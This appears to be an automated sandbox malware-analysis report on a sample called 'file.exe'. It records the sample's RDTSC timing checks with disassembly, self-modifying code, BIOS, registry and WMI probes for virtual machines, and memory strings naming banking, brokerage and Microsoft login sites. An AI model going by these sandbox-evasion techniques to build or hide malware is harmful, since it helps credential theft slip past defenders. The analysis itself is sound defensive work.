Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE50AB second address: 5CE50B5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F63E478794Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEAE4E second address: 5CEAE5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F63E4B4E53Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEAE5A second address: 5CEAE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEAE68 second address: 5CEAE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEAE6C second address: 5CEAE95 instructions: 0x00000000 rdtsc 0x00000002 js 00007F63E4787946h 0x00000008 jmp 00007F63E4787955h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 js 00007F63E4787946h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEB19D second address: 5CEB1B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63E4B4E53Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEB1B1 second address: 5CEB1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F63E478794Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEB310 second address: 5CEB314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBD5C second address: 5CEBD71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F63E4787946h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBD71 second address: 5CEBDA3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push ecx 0x00000010 jmp 00007F63E4B4E53Bh 0x00000015 pop ecx 0x00000016 pop eax 0x00000017 mov edi, eax 0x00000019 call 00007F63E4B4E539h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jl 00007F63E4B4E536h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBDA3 second address: 5CEBDA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEBDA9 second address: 5CEBDAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEC2AF second address: 5CEC2B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEC516 second address: 5CEC51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEC99B second address: 5CEC99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CECAD9 second address: 5CECAE3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CECBCF second address: 5CECBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CECCA0 second address: 5CECCA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CECCA6 second address: 5CECCC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787950h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CECFA5 second address: 5CECFAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CED469 second address: 5CED4D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63E478794Ah 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e or dword ptr [ebp+122D33B9h], ebx 0x00000014 and esi, dword ptr [ebp+122D2E6Dh] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F63E4787948h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F63E4787948h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 mov di, bx 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jc 00007F63E478794Ch 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CED4D9 second address: 5CED4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEEEA0 second address: 5CEEF09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov esi, dword ptr [ebp+122D3201h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F63E4787948h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F63E4787948h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 pushad 0x00000047 mov ax, 4300h 0x0000004b or ax, CB37h 0x00000050 popad 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF030C second address: 5CF0311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF10CF second address: 5CF10D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF0E0C second address: 5CF0E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F63E4B4E536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF0E16 second address: 5CF0E3E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F63E4787957h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF0E3E second address: 5CF0E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF0E42 second address: 5CF0E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF21C6 second address: 5CF21CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF2C9B second address: 5CF2C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF2C9F second address: 5CF2CA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF8DEF second address: 5CF8DF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF93F0 second address: 5CF93F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF93F4 second address: 5CF93F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF93F8 second address: 5CF9408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jbe 00007F63E4B4E53Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF9648 second address: 5CF9652 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF9652 second address: 5CF9657 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFA510 second address: 5CFA514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFD65E second address: 5CFD662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFE630 second address: 5CFE64E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F63E4787954h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFE64E second address: 5CFE654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFD7EE second address: 5CFD86A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a add dword ptr [ebp+122D1DF3h], edi 0x00000010 mov esi, dword ptr [ebp+1247B6F6h] 0x00000016 popad 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov ebx, dword ptr [ebp+122D382Eh] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b jmp 00007F63E478794Eh 0x00000030 mov eax, dword ptr [ebp+122D11B5h] 0x00000036 mov edi, dword ptr [ebp+122D3AB2h] 0x0000003c push FFFFFFFFh 0x0000003e call 00007F63E478794Fh 0x00000043 mov ebx, dword ptr [ebp+122D2EE9h] 0x00000049 pop ebx 0x0000004a nop 0x0000004b jmp 00007F63E4787953h 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push ecx 0x00000054 jnl 00007F63E4787946h 0x0000005a pop ecx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFE654 second address: 5CFE6C4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F63E4B4E538h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D267Ah], ebx 0x0000002d mov edi, dword ptr [ebp+122D2515h] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F63E4B4E538h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f movzx edi, dx 0x00000052 push 00000000h 0x00000054 xchg eax, esi 0x00000055 push edx 0x00000056 push esi 0x00000057 push edx 0x00000058 pop edx 0x00000059 pop esi 0x0000005a pop edx 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 pop edi 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFD86A second address: 5CFD86F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFE6C4 second address: 5CFE6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFE6C8 second address: 5CFE6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFE6CE second address: 5CFE6E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63E4B4E541h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D00573 second address: 5D00577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D00577 second address: 5D005F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F63E4B4E53Ch 0x00000012 jbe 00007F63E4B4E536h 0x00000018 pop edx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F63E4B4E538h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov edi, 70477046h 0x00000039 push 00000000h 0x0000003b add dword ptr [ebp+122D2698h], edi 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ebp 0x00000046 call 00007F63E4B4E538h 0x0000004b pop ebp 0x0000004c mov dword ptr [esp+04h], ebp 0x00000050 add dword ptr [esp+04h], 00000016h 0x00000058 inc ebp 0x00000059 push ebp 0x0000005a ret 0x0000005b pop ebp 0x0000005c ret 0x0000005d mov dword ptr [ebp+122D2BADh], edi 0x00000063 xchg eax, esi 0x00000064 push eax 0x00000065 push edx 0x00000066 jl 00007F63E4B4E53Ch 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFF7AB second address: 5CFF82A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+122D308Ah] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov ebx, 1ADD64C7h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F63E4787948h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c pushad 0x0000003d mov dword ptr [ebp+122D2B2Bh], eax 0x00000043 cld 0x00000044 popad 0x00000045 mov eax, dword ptr [ebp+122D10ADh] 0x0000004b push 00000000h 0x0000004d push edx 0x0000004e call 00007F63E4787948h 0x00000053 pop edx 0x00000054 mov dword ptr [esp+04h], edx 0x00000058 add dword ptr [esp+04h], 00000015h 0x00000060 inc edx 0x00000061 push edx 0x00000062 ret 0x00000063 pop edx 0x00000064 ret 0x00000065 pushad 0x00000066 mov ax, cx 0x00000069 movsx edi, di 0x0000006c popad 0x0000006d push FFFFFFFFh 0x0000006f push eax 0x00000070 push eax 0x00000071 js 00007F63E478794Ch 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D005F9 second address: 5D005FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D01685 second address: 5D01689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D00765 second address: 5D00772 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D02643 second address: 5D0265D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F63E478794Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F63E4787946h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D01849 second address: 5D01878 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F63E4B4E549h 0x00000012 popad 0x00000013 jbe 00007F63E4B4E53Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0265D second address: 5D02682 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c add bh, 00000000h 0x0000000f push 00000000h 0x00000011 or bx, 8D96h 0x00000016 push 00000000h 0x00000018 mov bh, D4h 0x0000001a xchg eax, esi 0x0000001b jnl 00007F63E4787958h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D02682 second address: 5D02686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D02686 second address: 5D0268A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D046F7 second address: 5D046FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D046FB second address: 5D04708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D04708 second address: 5D0470C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0470C second address: 5D04710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0575B second address: 5D05761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5BB9C1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 753BF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 77BF67 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7DEA8F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5B3DB73 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5B3DC4F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5CE368E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D7E002 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05CD2D03 rdtsc

0_2_05CD2D03

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05CCFDD8 sidt fword ptr [esp-02h]

0_2_05CCFDD8

Source: C:\Users\user\Desktop\file.exe TID: 1240

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2361838484.0000000000737000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2122909722.0000000005320000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2260516633.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2362535640.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2362535640.0000000000A98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2362535640.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2260295357.0000000000B22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__HS
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
